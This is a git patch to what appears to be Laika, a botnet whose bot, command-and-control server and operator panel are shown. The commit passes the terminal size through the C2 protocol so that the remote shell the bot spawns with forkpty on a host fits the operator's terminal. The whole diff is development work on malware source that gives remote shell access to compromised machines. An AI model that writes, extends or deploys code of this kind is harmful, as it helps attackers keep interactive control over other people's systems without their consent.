From e1ce053aa8476f42e5a7f7e5a93c9739c7f84643 Mon Sep 17 00:00:00 2001 From: CPunch Date: Mon, 7 Mar 2022 15:16:46 -0600 Subject: [PATCH] Added termsize 'cols & rows' to SHELL_OPEN packets --- bot/include/shell.h | 2 +- bot/src/bot.c | 2 +- bot/src/shell.c | 13 ++++++++++--- cnc/src/cnc.c | 2 +- cnc/src/cpanel.c | 10 +++++++++- lib/include/lpacket.h | 5 ++++- shell/include/sclient.h | 2 +- shell/include/sterm.h | 2 ++ shell/src/sclient.c | 4 +++- shell/src/scmd.c | 9 +++++++-- shell/src/sterm.c | 8 ++++++++ 11 files changed, 47 insertions(+), 12 deletions(-) diff --git a/bot/include/shell.h b/bot/include/shell.h index 6fe188d..24feeba 100644 --- a/bot/include/shell.h +++ b/bot/include/shell.h @@ -9,7 +9,7 @@ struct sLaika_shell { int fd; }; -struct sLaika_shell *laikaB_newShell(struct sLaika_bot *bot); +struct sLaika_shell *laikaB_newShell(struct sLaika_bot *bot, int cols, int rows); void laikaB_freeShell(struct sLaika_bot *bot, struct sLaika_shell *shell); /* handles reading & writing to shell pipes */ diff --git a/bot/src/bot.c b/bot/src/bot.c index 1728069..73e8370 100644 --- a/bot/src/bot.c +++ b/bot/src/bot.c @@ -21,7 +21,7 @@ struct sLaika_peerPacketInfo laikaB_pktTbl[LAIKAPKT_MAXNONE] = { false), LAIKA_CREATE_PACKET_INFO(LAIKAPKT_SHELL_OPEN, laikaB_handleShellOpen, - 0, + sizeof(uint16_t) + sizeof(uint16_t), false), LAIKA_CREATE_PACKET_INFO(LAIKAPKT_SHELL_CLOSE, laikaB_handleShellClose, diff --git a/bot/src/shell.c b/bot/src/shell.c index b03c293..d6b8607 100644 --- a/bot/src/shell.c +++ b/bot/src/shell.c @@ -10,10 +10,13 @@ #include "bot.h" #include "shell.h" -struct sLaika_shell *laikaB_newShell(struct sLaika_bot *bot) { +struct sLaika_shell *laikaB_newShell(struct sLaika_bot *bot, int cols, int rows) { + struct winsize ws; struct sLaika_shell *shell = (struct sLaika_shell*)laikaM_malloc(sizeof(struct sLaika_shell)); - shell->pid = forkpty(&shell->fd, NULL, NULL, NULL); + ws.ws_col = cols; + ws.ws_row = rows; + shell->pid = forkpty(&shell->fd, NULL, NULL, &ws); if (shell->pid == 0) { /* child process, clone & run shell */ @@ -104,13 +107,17 @@ bool laikaB_writeShell(struct sLaika_bot *bot, struct sLaika_shell *shell, char void laikaB_handleShellOpen(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData) { struct sLaika_bot *bot = (struct sLaika_bot*)uData; + uint16_t cols, rows; /* check if shell is already open */ if (bot->shell) LAIKA_ERROR("LAIKAPKT_SHELL_OPEN requested on already open shell!\n"); + laikaS_readInt(&peer->sock, &cols, sizeof(uint16_t)); + laikaS_readInt(&peer->sock, &rows, sizeof(uint16_t)); + /* open shell */ - laikaB_newShell(bot); + laikaB_newShell(bot, cols, rows); } void laikaB_handleShellClose(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData) { diff --git a/cnc/src/cnc.c b/cnc/src/cnc.c index 870b8de..6fa0d10 100644 --- a/cnc/src/cnc.c +++ b/cnc/src/cnc.c @@ -161,7 +161,7 @@ struct sLaika_peerPacketInfo laikaC_authPktTbl[LAIKAPKT_MAXNONE] = { DEFAULT_PKT_TBL, LAIKA_CREATE_PACKET_INFO(LAIKAPKT_AUTHENTICATED_SHELL_OPEN_REQ, laikaC_handleAuthenticatedShellOpen, - crypto_kx_PUBLICKEYBYTES, + crypto_kx_PUBLICKEYBYTES + sizeof(uint16_t) + sizeof(uint16_t), false), LAIKA_CREATE_PACKET_INFO(LAIKAPKT_AUTHENTICATED_SHELL_CLOSE, laikaC_handleAuthenticatedShellClose, diff --git a/cnc/src/cpanel.c b/cnc/src/cpanel.c index 1ef5af6..44945a0 100644 --- a/cnc/src/cpanel.c +++ b/cnc/src/cpanel.c @@ -85,6 +85,7 @@ void laikaC_handleAuthenticatedShellOpen(struct sLaika_peer *authPeer, LAIKAPKT_ struct sLaika_authInfo *aInfo = (struct sLaika_authInfo*)uData; struct sLaika_cnc *cnc = aInfo->info.cnc; struct sLaika_peer *peer; + uint16_t cols, rows; /* sanity check, make sure shell isn't already open */ if (aInfo->shellBot) @@ -98,12 +99,19 @@ void laikaC_handleAuthenticatedShellOpen(struct sLaika_peer *authPeer, LAIKAPKT_ if (peer->type != PEER_BOT) LAIKA_ERROR("laikaC_handleAuthenticatedShellOpen: Requested peer isn't a bot!\n"); + /* read term size */ + laikaS_readInt(&authPeer->sock, &cols, sizeof(uint16_t)); + laikaS_readInt(&authPeer->sock, &rows, sizeof(uint16_t)); + /* link shells */ aInfo->shellBot = peer; ((struct sLaika_botInfo*)(peer->uData))->shellAuth = authPeer; /* forward the request to open a shell */ - laikaS_emptyOutPacket(peer, LAIKAPKT_SHELL_OPEN); + laikaS_startOutPacket(peer, LAIKAPKT_SHELL_OPEN); + laikaS_writeInt(&peer->sock, &cols, sizeof(uint16_t)); + laikaS_writeInt(&peer->sock, &rows, sizeof(uint16_t)); + laikaS_endOutPacket(peer); } void laikaC_handleAuthenticatedShellClose(struct sLaika_peer *authPeer, LAIKAPKT_SIZE sz, void *uData) { diff --git a/lib/include/lpacket.h b/lib/include/lpacket.h index 649c0d8..f594cc9 100644 --- a/lib/include/lpacket.h +++ b/lib/include/lpacket.h @@ -54,7 +54,8 @@ enum { */ LAIKAPKT_SHELL_OPEN, /* if sent to bot, opens a shell. if sent to cnc, signifies you opened a shell */ /* layout of LAIKAPKT_SHELL_OPEN: - * NULL (empty packet) + * uint16_t cols; + * uint16_t rows; */ LAIKAPKT_SHELL_CLOSE, /* if sent to bot, closes a shell. if sent to cnc, signifies a shell was closed */ /* layout of LAIKAPKT_SHELL_CLOSE: @@ -85,6 +86,8 @@ enum { LAIKAPKT_AUTHENTICATED_SHELL_OPEN_REQ, /* panel requesting cnc open a shell on bot. there is no response packet, shell is assumed to be open */ /* layout of LAIKAPKT_AUTHENTICATE_OPEN_SHELL_REQ * uint8_t pubKey[crypto_kx_PUBLICKEYBYTES]; -- pubkey of said bot + * uint16_t cols; + * uint16_t rows; */ LAIKAPKT_AUTHENTICATED_SHELL_CLOSE, /* peer requesting close their currently opened shell (accepted by both cnc & panel) */ /* layout of LAIKAPKT_AUTHENTICATED_SHELL_CLOSE_REQ: diff --git a/shell/include/sclient.h b/shell/include/sclient.h index 51b0381..34f5d9d 100644 --- a/shell/include/sclient.h +++ b/shell/include/sclient.h @@ -31,7 +31,7 @@ tShell_peer *shellC_getPeerByPub(tShell_client *client, uint8_t *pub, int *id); int shellC_addPeer(tShell_client *client, tShell_peer *peer); /* returns new peer id */ void shellC_rmvPeer(tShell_client *client, tShell_peer *peer, int id); -void shellC_openShell(tShell_client *client, tShell_peer *peer); +void shellC_openShell(tShell_client *client, tShell_peer *peer, uint16_t col, uint16_t row); void shellC_closeShell(tShell_client *client); void shellC_sendDataShell(tShell_client *client, uint8_t *data, size_t sz); diff --git a/shell/include/sterm.h b/shell/include/sterm.h index 1997927..8c18be6 100644 --- a/shell/include/sterm.h +++ b/shell/include/sterm.h @@ -5,6 +5,7 @@ #include #include #include +#include #include #include #include @@ -19,6 +20,7 @@ void shellT_printf(const char *format, ...); bool shellT_waitForInput(int timeout); int shellT_readRawInput(uint8_t *buf, size_t max); void shellT_writeRawOutput(uint8_t *buf, size_t sz); +void shellT_getTermSize(int *col, int *row); char shellT_getch(void); int shellT_kbget(void); void shellT_printPrompt(void); diff --git a/shell/src/sclient.c b/shell/src/sclient.c index de056f6..4c6513e 100644 --- a/shell/src/sclient.c +++ b/shell/src/sclient.c @@ -318,7 +318,7 @@ void shellC_rmvPeer(tShell_client *client, tShell_peer *oldPeer, int id) { shellP_freePeer(oldPeer); } -void shellC_openShell(tShell_client *client, tShell_peer *peer) { +void shellC_openShell(tShell_client *client, tShell_peer *peer, uint16_t col, uint16_t row) { /* check if we already have a shell open */ if (client->openShell) return; @@ -326,6 +326,8 @@ void shellC_openShell(tShell_client *client, tShell_peer *peer) { /* send SHELL_OPEN request */ laikaS_startOutPacket(client->peer, LAIKAPKT_AUTHENTICATED_SHELL_OPEN_REQ); laikaS_write(&client->peer->sock, peer->pub, sizeof(peer->pub)); + laikaS_writeInt(&client->peer->sock, &col, sizeof(uint16_t)); + laikaS_writeInt(&client->peer->sock, &row, sizeof(uint16_t)); laikaS_endOutPacket(client->peer); client->openShell = peer; } diff --git a/shell/src/scmd.c b/shell/src/scmd.c index 758b964..6551e41 100644 --- a/shell/src/scmd.c +++ b/shell/src/scmd.c @@ -49,7 +49,7 @@ void listPeers(tShell_client *client, int args, char *argc[]) { void openShell(tShell_client *client, int args, char *argc[]) { uint8_t buf[LAIKA_SHELL_DATA_MAX_LENGTH]; tShell_peer *peer; - int id, sz; + int id, sz, cols, rows; if (args < 2) CMD_ERROR("Usage: shell [PEER_ID]\n"); @@ -60,7 +60,8 @@ void openShell(tShell_client *client, int args, char *argc[]) { shellT_printf("\n\nOpening shell on peer %04d...\n\n"); /* open shell on peer */ - shellC_openShell(client, peer); + shellT_getTermSize(&cols, &rows); + shellC_openShell(client, peer, cols, rows); /* while client is alive, and our shell is open */ while (laikaS_isAlive((&client->peer->sock)) && shellC_isShellOpen(client)) { @@ -78,6 +79,10 @@ void openShell(tShell_client *client, int args, char *argc[]) { } } + /* fix terminal */ + shellT_resetTerm(); + shellT_conioTerm(); + shellT_printf("\n\nShell closed\n\n"); } diff --git a/shell/src/sterm.c b/shell/src/sterm.c index d8302ef..42740e9 100644 --- a/shell/src/sterm.c +++ b/shell/src/sterm.c @@ -69,6 +69,14 @@ void shellT_writeRawOutput(uint8_t *buf, size_t sz) { fflush(stdout); } +void shellT_getTermSize(int *col, int *row) { + struct winsize ws; + ioctl(STDIN_FILENO, TIOCGWINSZ, &ws); + + *col = ws.ws_col; + *row = ws.ws_row; +} + char shellT_getch(void) { int r; char in;